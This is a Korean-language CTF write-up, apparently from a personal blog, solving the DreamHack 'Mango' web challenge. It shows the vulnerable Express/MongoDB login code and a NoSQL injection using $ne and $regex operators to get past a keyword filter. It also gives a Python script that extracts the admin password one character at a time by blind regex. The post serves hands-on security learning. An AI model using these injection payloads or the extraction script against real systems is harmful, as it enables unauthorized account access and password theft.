Hack/DreamHack(로드맵)
[Web_Hacking] stage6_문제풀이(Mango)
CIDY
2022. 7. 30. 04:32
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
페이지가 두 개 밖에 없다. 인자 주는 방법을 친절히 출력해준다.
아 그리고 쿼리를 전달하는 과정을 보면 별다른 필터링이 없으므로 이런저런 연산자들을 쓸 수 있게 된다.
대충 이렇게 출력해준다. uid와 upw를 모두 입력해야 하니
http://host3.dreamhack.games:14200/login?uid[$ne]=guest&upw[$ne]=guest
이렇게 해줬다.
이 계정은 뭐지?ㅋㅋ 아 참고로 (admin, db, admi)는 필터링되어 있다.
일단 필터링이 미흡하므로 위와 같이 아무거나 한 자리를 뜻하는 .을 이용해 admin계정을 찾을수는 있다.
이게 uid만 출력해주니까 플래그를 얻으려면 Blind로 하나하나 해야하는 부분인 것 같다. 근데 코드 보니까 32자리 알파뉴머릭이라는데 어느 세월에 다 하지?ㅋㅋ
자동화 코드를 짜야 할 것 같다.
import requests, string
HOST = 'http://host3.dreamhack.games:14200'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
get메소드를 이용해서 위와 같은 코드를 만들 수 있다. 그런데 이것도 생각보다 좀 걸린다. 물론 내가 하는 것 보다야 빠르겠지만...
D.는 dh필터링때문에 해 준 거고, {{는 포맷스트링 해주는거 (f '')안에서 {로 인식되기 때문이다. 약간 printf함수에서 %%해줘야 %출력되는 느낌이다. 그냥 {{하면 안 됨.
그래서 for문 밖에 print를 하려다가 안에 넣어서 계속 출력이라도 되도록 했다.
좋은 거 배워간다...